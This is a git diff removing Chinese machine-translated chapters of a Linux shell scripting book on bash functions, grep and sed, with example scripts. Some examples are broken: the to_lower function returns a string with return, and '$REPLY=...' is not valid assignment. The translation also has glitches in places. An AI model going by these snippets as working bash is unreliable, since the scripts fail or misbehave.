[http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-7.html](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-7.html) -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_02.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_02.html) -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_03.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_03.html) -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_05.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_05.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/07.md b/docs/master-linux-shell-script/07.md deleted file mode 100644 index 7d522087..00000000 --- a/docs/master-linux-shell-script/07.md +++ /dev/null @@ -1,468 +0,0 @@ -# 七、使用函数创建构建块 - -在本章中,我们将深入研究函数的奇妙世界。 我们可以把这些看作是创建功能强大、适应性强的脚本的模块化构建块。 通过创建函数,我们将代码添加到一个单独的构建块中,与脚本的其余部分隔离开来。 专注于单个函数的改进要比尝试将脚本作为单个对象进行改进容易得多。 如果没有函数,就很难专注于问题区域,并且代码经常重复,这意味着需要在许多位置进行更新。 函数被命名为脚本中的代码块或脚本,它们可以克服许多与更复杂的代码相关的问题。 - -在本章中,我们将涵盖以下主题: - -* 引入函数 -* 向函数传递参数 -* 变量作用域 -* 从函数中返回值 -* 递归函数 -* 在菜单中使用函数 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter07](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter07) - -# 引入函数 - -函数是作为**命名元素**存在于内存中的代码块。 这些元素可以在 shell 环境中创建,也可以在脚本执行中创建。 当在命令行发出命令时,首先检查别名,然后检查匹配的函数名。 要查看 shell 环境中的函数,可以使用以下命令: - -```sh -$ declare -F -``` - -输出将根据您使用的分布和创建的函数数量而有所不同。 在我的 Linux Mint 上,部分输出如下截图所示: - -![](img/6d280f40-0bea-4847-81c0-5b1bf0377f89.png) - -使用小的`-f`选项,您可以显示该函数和相关的定义。 然而,如果我们只想看到单个函数定义,我们可以使用`type`命令: - -```sh -$ type quote -``` - -前面的代码示例将显示`quote`函数的代码块,如果它存在于您的 shell 中。 我们可以在下面的截图中看到这个命令的输出: - -![](img/6409e11b-7f72-454e-b4a9-2cc2aad5a3fe.png) - -bash 中的`quote`函数在提供的输入参数周围插入单引号。 例如,我们可以展开`USER`变量并将其值显示为字符串文本; 如下面的截图所示。 屏幕截图捕捉命令和输出: - -![](img/bffd9d56-fb94-4d67-9ec6-0e7ba69d2192.png) - -大多数代码都可以用一个伪代码来表示,它显示了一个示例布局。 函数也没有什么不同,下面的例子中列出了创建函数的代码: - -```sh -function-name() { - -} -``` - -此外,还有另一种定义函数的方法,像这样: - -```sh -function { - -} -``` - -在**Portable Operating System Interface**(**POSIX**)规范中,`keyword`函数已不再支持可移植性,但仍有一些开发人员在使用它。 - -Note that the `()` are not necessary when using the `keyword` function, but they are a must if you define the function without the `keyword` function. - -该函数创建时没有`do`和`done`块,就像我们在前面的循环中使用的那样。 花括号的目的是定义代码块边界。 - -下面的代码显示了一个显示聚合系统信息的简单函数。 这可以在命令行中创建,并驻留在您的 shell 中。 这将不会持续登录,并将在 shell 关闭或函数未设置时丢失。 为了允许函数持久化,我们需要将其添加到用户帐户的登录脚本中。 示例代码如下: - -```sh -$ show_system() { -echo "The uptime is:" -uptime -echo -echo "CPU Detail" -lscpu -echo -echo "User list" -who -} -``` - -我们可以使用`type`命令打印函数的详细信息,类似于前面的实例; 如下截图所示: - -![](img/d9fabef5-8440-4b12-b440-2edcc07412ef.png) - -要执行该函数,只需输入`show_system`,就可以看到静态文本和来自三个命令:`uptime`、`lscpu`和`who`的输出。 当然,这是一个非常简单的函数,但是我们可以通过允许在运行时传递参数来添加更多的功能。 - -# 向函数传递参数 - -在本章的前面,我们将函数称为脚本中的脚本,我们将继续保持这种类比。 与脚本如何具有输入参数类似,我们可以创建函数,这些函数也可以接受参数,从而使其操作不那么静态。 在处理脚本之前,我们可以看看命令行中的一个有用函数。 - -One of my pet peeves is overcommented configuration files, especially where documentation exists to detail the options available. - -**GNU's Not Unix**(**GNU**)Linux`sed`命令可以方便地为我们编辑文件并删除注释行和空行。 我们在这里介绍流编辑器`sed`,但我们将在下一章中更详细地了解它。 - -运行就地编辑的`sed`命令行如下: - -```sh -$ sed -i.bak '/^\s*#/d;/^$/d' -``` - -我们可以在命令行中通过逐个元素分解来完成取证。 让我们来深入了解一下: - -* `sed -i.bak`:编辑文件并创建扩展名为`.bak`的备份。 然后可以通过`.bak`访问原始文件。 -* `/^`:插入符号(`^`)表示编辑插入符号后面的内容开始的行。 所以插入符号匹配一行的开头。 -* `\s*`:这意味着任意数量的空白,包括空格和制表符。 -* `#/`:正常`#`征象。 因此,total 表达式`^\s*#`意味着我们要查找以注释或空格和注释开头的行。 -* `d`:这是删除匹配行的删除操作。 -* `;/^$/d`:分号用于分隔表达式,第二个表达式类似于第一个表达式,但这一次我们准备删除空行。 - -要将其移动到函数中,我们只需要想出一个好名字。 我喜欢在函数名中加入动词; 它有助于惟一性并确定函数的目的。 我们将按照如下方式创建`clean_file`函数: - -```sh -$ function clean_file { - sed -i.bak '/^\s*#/d;/^$/d' "$1" -} -``` - -与在脚本中一样,我们使用位置参数来接受命令行参数。 我们可以在函数内用`$1`替换前面使用的硬编码文件名。 我们将引用这个变量以防止文件名中出现空格。 为了测试`clean_file`函数,我们将复制一个系统文件并使用该副本。 这样,我们就可以确保任何系统文件都不会受到伤害。 我们可以向所有读者保证,在本书的制作过程中,没有任何系统文件受到伤害。 以下是我们需要遵循的对新功能进行测试的详细步骤: - -1. 按照描述创建`clean_file`功能 -2. 使用不带参数的`cd`命令移动到您的`home`目录 -3. 将时间配置文件复制到您的`home`目录`cp /etc/ntp.conf $HOME` -4. 使用以下命令计算文件中的行数:`wc -l $HOME/ntp.conf` -5. 现在用`clean_file $HOME/ntp.conf`删除注释和空行 -6. 现在用`wc -l $HOME/ntp.conf`重述几行 -7. 另外,检查我们创建的原始文件的备份计数:`wc -l $HOME/ntp.conf.bak` - -命令的顺序如下截图所示: - -![](img/f403ad2f-0f83-49c6-ad61-c45577a8042d.png) - -我们可以使用在执行函数时提供的参数将函数的注意力转移到所需的文件上。 如果需要持久化这个函数,那么应该将它添加到登录脚本中。 但是,如果我们想在 shell 脚本中测试它,我们可以创建下面的文件来完成这项工作,并练习我们学过的其他一些元素。 我们需要注意的是,函数应该总是在脚本开始时创建,因为它们需要在调用时存储在内存中。 只要认为您的函数需要在您扣动扳机之前解锁和加载。 - -我们将创建一个新的 shell 脚本`$HOME/bin/clean.sh`,并且需要像往常一样设置执行权限。 脚本代码如下: - -```sh -#!/bin/bash -# Script will prompt for filename -# then remove commented and blank lines - -is_file() { - if [ ! -f "$1" ] ; then - echo "$1 does not seem to be a file" - exit 2 - fi -} - -clean_file() { - is_file "$1" - BEFORE=$(wc -l "$1") - echo "The file $1 starts with $BEFORE" - sed -i.bak '/^\s*#/d;/^$/d' "$1" - AFTER=$(wc -l "$1") - echo "The file $1 is now $AFTER" -} - -read -p "Enter a file to clean: " -clean_file "$REPLY" -exit 1 -``` - -我们在脚本中提供了两个函数。 第一个是`is_file`,它只是简单地测试以确保我们输入的文件名是一个常规文件。 然后,我们声明了带有一些附加功能的`clean_file`函数,显示操作前后文件的行数。 我们还可以看到,函数可以嵌套,我们用`clean_file`调用`is_file`函数。 - -没有函数定义,我们在文件的末尾只有三行代码,我们可以在前面保存为`$HOME/bin/clean.sh`的代码块中的示例代码中看到这三行代码。 我们首先提示输入文件名,然后运行`clean_file`函数,该函数接着调用`is_file`函数。 这里,主代码的简单性非常重要。 复杂性在于函数,因为每个函数都可以作为一个独立的单元来处理。 - -现在我们可以测试脚本操作,首先使用一个错误的文件名,如下面的截图所示: - -![](img/b6df07e9-3208-43a8-9f26-b8cf9e0a4d6e.png) - -现在我们已经看到了使用错误文件的操作,我们可以再次尝试使用实际文件! 我们可以使用之前处理过的系统文件。 我们需要首先将文件返回到它们的原始状态: - -```sh -$ cd $HOME -$ rm $HOME/ntp.conf -$ mv ntp.conf.bak ntp.conf -``` - -现在文件准备好了,我们可以从`$HOME`目录执行脚本,如下截图所示: - -![](img/6628efa2-505b-472e-a56a-a836aab2f329.png) - -# 通过数组 - -并不是所有传递的值都是单一值; 您可能需要向函数传递一个数组。 让我们看看如何传递一个数组作为参数: - -```sh -#!/bin/bash -myfunc() { - arr=$@ - echo "The array from inside the function: ${arr[*]}" -} - -test_arr=(1 2 3) -echo "The original array is: ${test_arr[*]}" -myfunc ${test_arr[*]} -``` - -![](img/290b2825-016a-4ce3-9f8c-bb517a0f05f5.png) - -从结果中,您可以看到所使用的数组是以函数的方式返回的。 - -注意,我们使用了`$@`来获取函数内部的数组。 如果你使用`$1`,它将只返回第一个数组元素: - -```sh -#!/bin/bash -myfunc() { - arr=$1 - echo "The array from inside the function: ${arr[*]}" -} - -my_arr=(5 10 15) -echo "The original array: ${my_arr[*]}" -myfunc ${my_arr[*]} -``` - -![](img/b4a129d6-1d1d-4e27-8ffc-b329a6b1b92e.png) - -因为我们使用了`$1`,所以它只返回第一个数组元素。 - -# 变量作用域 - -默认情况下,在函数中声明的任何变量都是全局变量。 这意味着这个变量可以在函数内外使用,没有问题。 - -看看这个例子: - -```sh -#!/bin/bash -myvar=10 -myfunc() { - myvar=50 -} -myfunc -echo $myvar - -``` - -如果运行此脚本,它将返回`50`,这是在函数内部更改的值。 - -如果你想声明一个专属于函数的变量呢? 这被称为局部变量。 - -你可以像这样使用`local`命令来声明局部变量: - -```sh -myfunc() { - local myvar=10 -} -``` - -为了确保这个变量只在函数内部使用,让我们看看下面的例子: - -```sh -#!/bin/bash -myvar=30 -myfunc() { - local myvar=10 -} -myfunc -echo $myvar -``` - -如果运行此脚本,它将打印`30`,这意味着该变量的本地版本与全局版本不同。 - -# 从函数中返回值 - -每当函数中有语句打印在屏幕上时,我们就可以看到它们的结果。 然而,很多时候,我们希望函数在脚本中填充一个变量,而不显示任何内容。 在本例中,我们在函数中使用`return`。 当我们从用户那里获取输入时,这一点尤其重要。 我们可能更喜欢用案例将输入转换为已知案例,以便更容易地进行条件测试。 将代码嵌入到函数中允许在脚本中多次使用。 - -下面的代码展示了如何通过创建`to_lower`函数来实现这一点: - -```sh -to_lower () -{ - input="$1" - output=$( echo $input | tr [A-Z] [a-z]) -return $output -} -``` - -逐步浏览代码,我们可以开始了解这个函数的操作: - -* `input="$1"`:这比其他任何事情都更容易; 我们将第一个输入参数赋给一个命名变量输入。 -* `output=$( echo $input | tr [A-Z] [a-z])`:这是函数的主引擎,在这里进行从大写到小写的转换。 我们将输入通过管道传递到`tr`命令,将大写字母转换为小写字母。 -* `return $output`:这就是我们创建返回值的方式。 - -这个函数的一种用法是在一个脚本中,该脚本读取用户的输入并简化测试,以查看他们是选择`Q`还是`q`。 这可以从下面的代码摘录中看到: - -```sh -to_lower () -{ - input="$1" - output=$( echo $input | tr [A-Z] [a-z]) -return $output -} - -while true -do - read -p "Enter c to continue or q to exit: " - $REPLY=$(to_lower "$REPLY") - if [ $REPLY = "q" ] ; then - break - fi - -done -echo "Finished" -``` - -# 递归函数 - -递归函数是从自身内部调用自身的函数。 当您需要调用该函数来再次从内部执行某些操作时,这个函数非常有用。 最著名的例子就是计算阶乘。 - -为了计算 4 的阶乘,你用 4 乘以递减数。 你可以这样做: - -```sh -4! = 4*3*2*1 -``` - -符号 T0 表示阶乘。 - -让我们写一个递归函数来计算任意给定数的阶乘: - -```sh -#!/bin/bash -calc_factorial() { -if [ $1 -eq 1 ] -then -echo 1 -else -local var=$(( $1 - 1 )) -local res=$(calc_factorial $var) -echo $(( $res * $1 )) -fi -} - -read -p "Enter a number: " val -factorial=$(calc_factorial $val) -echo "The factorial of $val is: $factorial" -``` - -![](img/0b71574b-6af6-4bb3-b2e7-7ba140b064f1.png) - -首先,我们定义名为`calc_factorial`的函数,并在其内部检查 number 是否等于 1,如果等于 1,函数将返回 1,因为 1 的阶乘等于 1。 - -然后我们将数字减 1,然后从里面调用函数,这将再次调用函数。 - -这将继续发生,直到它达到 1,然后函数将退出。 - -# 在菜单中使用函数 - -在[第 6 章](06.html),*循环迭代*中,我们创建了`menu.sh`文件。 菜单是使用函数的最佳目标,因为`case`语句用单行条目非常简单地维护,而复杂性仍然可以存储在每个函数中。 我们应该考虑为每个菜单项创建一个函数。 如果将之前的`$HOME/bin/menu.sh`复制到`$HOME/bin/menu2.sh`,就可以改进功能。 新的菜单看起来应该像下面的代码: - -```sh -#!/bin/bash -# Author: @likegeeks -# Web: likegeeks.com -# Sample menu with functions -# Last Edited: April 2018 - -to_lower() { - input="$1" - output=$( echo $input | tr [A-Z] [a-z]) -return $output -} - -do_backup() { - tar -czvf $HOME/backup.tgz ${HOME}/bin -} - -show_cal() { - if [ -x /usr/bin/ncal ] ; then - command="/usr/bin/ncal -w" - else - command="/usr/bin/cal" - fi - $command -} - -while true -do - clear - echo "Choose an item: a, b or c" - echo "a: Backup" - echo "b: Display Calendar" - echo "c: Exit" - read -sn1 - REPLY=$(to_lower "$REPLY") - case "$REPLY" in - a) do_backup;; - b) show_cal;; - c) exit 0;; - esac - read -n1 -p "Press any key to continue" -done -``` - -如我们所见,我们仍然保持了`case`语句的简单性; 但是,我们可以通过函数来开发脚本以增加复杂性。 例如,当为日历选择选项`b`时,我们现在检查`ncal`命令是否可用。 如果是,则使用`ncal`并使用`-w`选项打印周数。 我们可以在下面的截图中看到这一点,在这里我们选择显示日历并安装`ncal`: - -![](img/3aa8b650-4e05-4b77-bf93-1064c38aae86.png) - -我们也不必担心*Caps Lock*键,因为`to_lower`函数将我们的选择转换为小写。 随着时间的推移,我们很容易向函数中添加额外的元素,因为我们知道我们只影响一个函数。 - -# 总结 - -我们在剧本写作方面仍在取得跳跃式的进步。 我希望这些想法能够陪伴您,并且您会发现这些代码示例是有用的。 函数对于简化脚本及其最终功能的维护非常重要。 脚本越容易维护,您就越有可能随着时间的推移添加改进。 我们可以在命令行或脚本中定义函数,但在使用它们之前需要将它们包含在脚本中。 - -在脚本运行时,函数本身被加载到内存中,但只要脚本是分叉的,而不是源代码,它们将在脚本完成后从内存中释放。 在本章中,我们已经稍微谈到了`sed`,在下一章中,我们将进一步讨论如何使用流编辑器(`sed`)。 `sed`命令非常强大,我们可以在脚本中很好地使用它。 - -# 问题 - -1. 以下代码的打印值是多少? - -```sh -#!/bin/bash -myfunc() { -arr=$1 -echo "The array: ${arr[*]}" -} - -my_arr=(1 2 3) -myfunc ${my_arr[*]} -``` - -2. 以下代码的输出是什么? - -```sh -#!/bin/bash -myvar=50 -myfunc() { -myvar=100 -} -echo $myvar -myfunc -``` - -3. 下面的代码有什么问题? 你怎么能解决它呢? - -```sh -clean_file { - is_file "$1" - BEFORE=$(wc -l "$1") - echo "The file $1 starts with $BEFORE" - sed -i.bak '/^\s*#/d;/^$/d' "$1" - AFTER=$(wc -l "$1") - echo "The file $1 is now $AFTER" -} -``` - -4. 下面的代码有什么问题? 你怎么能解决它呢? - -```sh -#!/bin/bash -myfunc() { -arr=$@ -echo "The array from inside the function: ${arr[*]}" -} - -test_arr=(1 2 3) -echo "The origianl array is: ${test_arr[*]}" -myfunc (${test_arr[*]}) -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-8.html](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-8.html) -* [http://tldp.org/LDP/abs/html/functions.html](http://tldp.org/LDP/abs/html/functions.html) -* [https://likegeeks.com/bash-functions/](https://likegeeks.com/bash-functions/) \ No newline at end of file diff --git a/docs/master-linux-shell-script/08.md b/docs/master-linux-shell-script/08.md deleted file mode 100644 index d3a11e73..00000000 --- a/docs/master-linux-shell-script/08.md +++ /dev/null @@ -1,585 +0,0 @@ -# 八、流编辑器介绍 - -在前一章中,我们看到可以使用`sed`在脚本中编辑文件。 `sed`命令是**流编辑器**(**sed**),并逐行打开文件以搜索或编辑文件内容。 从历史上看,这可以追溯到 Unix,在 Unix 中,系统可能没有足够的 RAM 来打开非常大的文件。 使用`sed`进行编辑是绝对需要的。 即使在今天,我们仍将使用`sed`对包含成百上千个条目的文件进行更改和显示。 它比人类尝试做同样的事情更简单、更容易、更可靠。 最重要的是,如我们所见,我们可以在脚本中使用`sed`来自动编辑文件; 不需要人机交互。 - -我们将首先查看`grep`并搜索文件中的文本。 `grep`命令中的`re`是**正则表达式**的缩写。 尽管在本章中我们不讨论脚本,但我们将介绍一些可以用于脚本的非常重要的工具。 在下一章中,我们将看到`sed`在脚本中的实际实现。 - -但目前,我们有足够的内容要处理,我们将在本章中涵盖以下主题: - -* 使用`grep`显示文本 -* 了解`sed`的基本知识 -* 其他`sed`命令 -* 多个`sed`命令 - -# 技术要求 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter08](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter08) - -# 使用 grep 显示文本 - -我们将从观察`grep`命令开始这一旅程。 这将使我们在转向更复杂的正则表达式和使用`sed`编辑文件之前,掌握一些在文本中搜索的简单概念。 - -全球正则表达式打印**(****grep),或者我们通常称之为`grep`命令,是一种命令行工具,用于搜索全球(所有文件中的代码行)并打印结果`STDOUT`。 搜索字符串是一个正则表达式。** - -`grep`命令是一种非常常见的工具,它有许多简单的例子和许多我们每天都可以使用它的场合。 在下面几节中,我们包含了一些简单而有用的示例,并进行了解释。 - -# 在接口上显示接收到的数据 - -在本例中,我们只打印从`eth0`接口接收到的数据。 - -This is the interface that is my primary network connection. If you are uncertain of your interface name, you can use the `ifconfig -a` command to display all the interfaces and choose the correct interface name on your system. If `ifconfig` is not found, try typing the full path, `/sbin/ifconfig`. - -只需使用`ifconfig eth0`命令,就可以将一堆数据打印到屏幕上。 为了只显示接收到的数据包,我们可以隔离包含`RX packets`(接收到的`RX`)的行。 这就是`grep`发挥作用的地方: - -```sh -$ ifconfig eth0 | grep "RX packets" -``` - -使用管道或竖条,我们可以获得`ifconfig`命令的输出,并将其发送到`grep`命令的输入。 在本例中,`grep`正在搜索一个非常简单的字符串`RX packets`。 搜索字符串是区分大小写的,所以我们需要正确使用`grep`的`-i`选项以不区分大小写的方式运行搜索,如下面的示例所示: - -```sh -$ ifconfig eth0 | grep -i "rx packets" -``` - -A case-insensitive search is especially useful when searching for options in a configuration file, which often have mixed cases. - -我们可以在下面的截图中看到初始命令的结果,确认我们已经能够隔离输出的单行,如下所示: - -![](img/8438d3b5-445f-4d50-8a68-889898da93e2.png) - -# 显示用户帐户数据 - -Linux 中的本地用户帐户数据库是`/etc/passwd`文件,所有用户帐户都可以读取该文件。 如果我们想搜索包含我们自己数据的行,我们可以在搜索中使用我们自己的登录名,或者使用参数展开和`$USER`变量。 我们可以在下面的命令示例中看到这一点: - -```sh -$ grep "$USER" /etc/passwd -``` - -在本例中,`grep`的输入来自`/etc/passwd`文件,我们搜索`$USER`变量的值。 同样,在本例中,它是一个简单的文本,但它仍然是正则表达式,只是没有任何操作符。 - -为了完整起见,我们在下面的截图中包含了输出: - -![](img/5ff2f0ae-977a-46df-a95f-c006907cbdb3.png) - -我们可以在脚本中使用这种类型的查询作为条件进行一点扩展。 在尝试创建一个新帐户之前,我们可以使用它来检查用户帐户是否存在。 为了使脚本尽可能简单,并确保不需要管理权限,创建帐户将只显示以下命令行示例中的提示和条件测试: - -```sh -$ bash -$ read -p "Enter a user name: " -$ if (grep "$REPLY" /etc/passwd > /dev/null) ; then -> echo "The user $REPLY exists" -> exit 1 -> fi -``` - -`grep`搜索现在使用`read`填充的`$REPLY`变量。 如果我输入名称`pi`,将显示一条消息,我们将退出,因为我的用户帐户也被称为`pi`。 不需要显示来自`grep`的结果; 我们只是在寻找一个返回码,要么是`true`要么是`false`。 为了确保如果用户在文件中,我们不会看到任何不必要的输出,我们将输出从`grep`重定向到特殊的设备文件`/dev/null`。 - -如果您想从命令行运行它,您应该首先启动一个新的 bash shell。 只需输入`bash`即可。 这样,当`exit`命令运行时,它不会注销您,而是关闭新打开的 shell。 在下面的截图中,我们可以看到这种情况的发生以及指定现有用户时的结果: - -![](img/3c29fad8-fd65-4e0c-a125-d5f9ba5a5666.png) - -# 列出系统中 cpu 的数量 - -另一个真正有用的特性是`grep`可以计算匹配的行数而不显示它们。 我们可以使用它来计算系统上拥有的 CPU 或 CPU 核的数量。 在`/proc/cpuinfo`文件中,每个核心或 CPU 都有一个名称。 然后我们可以搜索文本`name`并计算输出; 使用的`-c`选项如下例所示: - -```sh -$ grep -c name /proc/cpuinfo -``` - -我的 CPU 有 4 核,如下图所示: - -![](img/f673d39b-5ba9-4ca7-b698-f8db3cc7cf4f.png) - -如果我们在另一台拥有单核的 PC Model B 上使用相同的代码,我们将看到以下输出: - -![](img/a3f6e13c-3be6-4c29-98d8-451c4e4abada.png) - -在运行 cpu 密集型任务之前,我们可以再次在脚本中使用它来验证是否有足够的内核可用。 为了从命令行中测试这一点,我们可以使用以下代码,我们在只有单个核心的 PC 上执行: - -```sh -$ bash -$ CPU_CORES=$(grep -c name /proc/cpuinfo) -$ if (( CPU_CORES < 4 )) ; then -> echo "A minimum of 4 cores are required" -> exit 1 -> fi -``` - -我们只在开始时运行`bash`,以确保没有使用`exit`命令注销系统。 如果这是在脚本中,则不需要,因为我们将退出脚本而不是 shell 会话。 - -通过在只有一个核心的模型 B 上运行这个,我们可以看到脚本的结果,也可以看到我们没有所需的核心数量的指示: - -![](img/66ea3316-be5c-4656-a61b-ac09d22bfb89.png) - -如果你需要在多个脚本中运行这个 check,那么你可以在一个共享脚本中创建一个函数,并在需要检查的脚本中创建包含共享函数的脚本: - -```sh -function check_cores { - [ -z $1 ] && REQ_CORES=2 -CPU_CORES=$(grep -c name /proc/cpuinfo) -if (( CPU_CORES < REQ_CORES )) ; then -echo "A minimum of $REQ_CORES cores are required" -exit 1 -fi -} -``` - -如果一个参数被传递给函数,那么它被用作所需的核数; 否则,我们将该值设置为`2`作为默认值。 如果我们将其定义为 Model B PC 的 shell 中的一个函数,并使用`type`命令显示详细信息,我们应该会看到如下截图所示: - -![](img/72902c0e-93bd-4831-b49e-449be6dab03a.png) - -如果我们在一个单核系统上运行它,并指定只需要一个单核,我们将看到当我们满足需求时没有输出。 如果我们没有指定需求,那么它将默认为`2`内核,我们将无法满足需求,并将退出 shell。 - -下面的截图显示了带参数`1`和不带参数运行时函数的输出: - -![](img/2c5a8da0-78fa-48dc-95d7-0344f1d7d994.png) - -我们可以看到,即使是`grep`的基础知识在脚本中也是非常有用的,我们可以使用所学的知识开始创建可用的模块,并将其添加到脚本中。 - -# 解析 CSV 文件 - -现在我们将创建一个脚本来解析或格式化 CSV 文件。 文件的格式化将为输出添加新的行、制表符和颜色,从而使其更具可读性。 然后我们可以使用`grep`来显示 CSV 文件中的单个项。 这里的实际应用是一个基于 CSV 文件的目录系统。 - -# CSV 文件 - -CSV 文件或逗号分隔值列表将来自当前目录中名为`tools`的文件。 这是我们销售的产品目录。 文件内容如下所示: - -```sh -drill,99,5 -hammer,10,50 -brush,5,100 -lamp,25,30 -screwdriver,5,23 -table-saw,1099,3 -``` - -这只是一个简单的演示,所以我们不需要太多的数据,但是目录中的每一项都包含以下内容: - -* 的名字 -* 价格 -* 单位的股票 - -我们可以看到,我们有一个 99 美元的钻,我们有 5 个单位的库存。 如果我们用`cat`列出文件,它就不是很友好; 但是,我们可以编写脚本以更吸引人的方式显示数据。 我们可以创建一个新的脚本`$HOME/bin/parsecsv.sh`: - -```sh -#!/bin/bash -OLDIFS="$IFS" -IFS="," -while read product price quantity -do -echo -e "\33[1;33m$product \ - ========================\033[0m\n\ -Price : \t $price \n\ -Quantity : \t $quantity \n" - -done <"$1" -IFS=$OLDIFS -``` - -让我们仔细研究这个文件并查看相关元素: - -| **元件** | **含义** | -| `OLDIFS="$IFS"` | 变量`IFS`存储文件分隔符,这通常是一个空白字符。 我们可以存储旧的`IFS`,以便稍后在脚本结束时恢复它,确保在脚本完成后返回相同的环境,无论脚本如何运行。 | -| `IFS=","` | 我们将分隔符设置为逗号,以匹配 CSV 文件所需要的内容。 | -| `while read product price quantity` | 我们进入一个`while`循环来填充我们需要的三个变量:`product`、`price`和`quantity`。 `while`循环将逐行读取输入文件,并填充每个变量。 | -| `echo ...` | `echo`命令将产品名称显示为蓝色,并在下面添加两个下划线。 其他变量在新行中打印并以制表符插入。 | -| `done <"$1"` | 这是我们读取输入文件的地方,我们将其作为参数传递给脚本。 | - -脚本如下截图所示: - -![](img/73d3bb8d-86ef-4d5e-a388-f6d53837cf3e.png) - -我们可以使用位于当前目录中的`tools`目录文件来执行脚本,使用以下命令: - -```sh -$ parsecsv.sh tools -``` - -为了看看这将如何显示,我们可以在下面的截图中查看部分输出: - -![](img/6483bdcd-d888-4054-99ff-46c6329beaac.png) - -我们现在开始意识到,我们在命令行中有很多功能可以以更可读的方式格式化文件,纯文本文件不需要是纯文本。 - -# 隔离目录条目 - -如果我们需要搜索一个条目,那么我们需要不止一行。 条目有三行。 所以,如果我们搜索锤子,我们需要到锤子线和后面的两条线。 我们通过使用`grep`的`-A`选项来实现这一点,`grep`是 after 的缩写。 我们需要显示匹配的行和之后的两行。 这将通过以下代码表示: - -```sh -$ parsecsv.sh tool | grep -A2 hammer -``` - -如下截图所示: - -![](img/138263c8-066a-464d-8227-be5b83fab47a.png) - -# 了解 sed 的基础知识 - -在建立了一些基础之后,我们现在可以开始看一下`sed`的一些操作。 大多数 Linux 系统都会提供这些命令,它们是核心命令。 - -我们将直接深入一些简单的例子: - -```sh -$ sed 'p' /etc/passwd -``` - -`p`操作符将打印匹配的模式。 在本例中,我们没有指定模式,因此我们将匹配所有内容。 不抑制`STDOUT`而打印匹配的行将会复制行。 这个操作的结果是将`passwd`文件中的所有行打印两次。 要只打印修改后的行,我们使用`-n`选项: - -```sh -$ sed -n 'p' /etc/passwd -``` - -辉煌! ! 我们刚刚重新设计了`cat`命令。 我们现在可以只使用一系列的行: - -```sh -$ sed -n '1,3 p ' /etc/passwd -``` - -现在我们已经重新创建了`head`命令,但是我们也可以在 regex 模式中指定范围来重新创建`grep`命令: - -```sh -$ sed -n '/^root/ p' /etc/passwd -``` - -我们可以在下面的截图中看到这一点: - -![](img/080ac37c-aaf2-4c0c-8ea4-e43815d5219c.png) - -注意,插入字符(`^`)表示该行的开头,这意味着该行必须以单词`root`开始。 别担心; 我们将在另一章中解释所有这些正则表达式字符。 - -# 替换命令 - -我们已经看到了用于打印模式空间的`p`命令。 `p`实际上是`substitute`命令`s`的标志。 - -`substitute`命令是这样写的: - -```sh -$ sed s/pattern/replacement/flags -``` - -`substitute`命令有三种常用标志: - -* `p`:打印原内容 -* `g`:所有事件的全局替换 -* `w`:Filename:将结果发送到文件 - -现在我们来看看`substitute`命令或`s`。 使用这个命令,我们可以用另一个字符串替换一个字符串。 同样,在默认情况下,我们将输出发送到`STDOUT`并且不编辑该文件。 - -要替换用户`pi`的默认 shell,我们可以使用以下命令: - -```sh -sed -n ' /^pi/ s/bash/sh/p ' /etc/passwd -``` - -我们继续前面的实例,使用`p`命令打印匹配的模式,并使用`-n`选项抑制`STDOUT`。 我们搜索以`pi`开头的行。 这代表用户名。 然后,我们发出`s`命令来替换那些匹配行的文本。 它有两个参数:第一个是要搜索的文本,第二个是用来替换原始文本的文本。 在本例中,我们查找`bash`并将其替换为`sh`。 这是简单和工作,但它可能不可靠的长期。 我们可以在下面的截图中看到输出: - -![](img/5c01033a-453d-4ca3-af9f-ea35cf25eb02.png) - -我们必须强调,目前,我们没有编辑文件,只是将其显示在屏幕上。 原始的`passwd`文件保持不变,我们可以作为标准用户运行它。 我在前面的示例中提到,搜索可能不那么可靠,因为我们正在搜索的字符串是`bash`。 这是非常短的,也许它可以包含在匹配行的其他地方。 可能,某人的姓是`Tabash`,其中包括字符串`bash`。 我们可以扩展搜索以查找`/bin/bash`并将其替换为`/bin/sh`。 然而,这引入了另一个问题:默认的分隔符是正斜杠,所以我们必须转义搜索中使用的每个正斜杠并替换字符串,如下所示: - -```sh -sed -n ' /^pi/ s/\/bin\/bash/\/usr\/bin\/sh/p ' /etc/passwd -``` - -这是一个选择,但不是一个整洁的选择。 更好的解决方案是知道我们使用的第一个分隔符定义了分隔符。 换句话说,您可以使用任何字符作为分隔符。 在这种情况下使用`@`符号可能是一个好主意,因为它既不出现在搜索字符串中,也不出现在替换字符串中: - -```sh -sed -n ' /^pi/ s@/bin/bash@/usr/bin/sh@p ' /etc/passwd -``` - -我们现在有了更可靠的搜索和可读的命令行,这总是一件好事。 我们仅用`/bin/sh`替换`/bin/bash`每行上的第一个条目。 如果我们需要替换比第一次出现的次数更多的内容,对于 global,我们在末尾添加`g`命令: - -```sh -sed -n ' /^pi/ s@bash@sh@pg ' /etc/passwd -``` - -在我们的例子中,这不是必需的,但是知道它很好。 - -# 全球替换 - -让我们假设我们有以下示例文件: - -```sh -Hello, sed is a powerful editing tool. I love working with sed -If you master sed, you will be a professional one -``` - -让我们尝试使用`sed`来处理这个文件: - -```sh -$ sed 's/sed/Linux sed/' myfile -``` - -这里,我们用`sed`将`sed`替换为`Linux sed`: - -![](img/4d8e338d-a79f-4c4c-a95f-9f82c9257a9e.png) - -如果仔细检查结果,您会注意到`sed`只修改了每行的第一个单词。 - -如果您想替换所有出现的内容,这可能不是您想要的。 - -`g`旗来了。 - 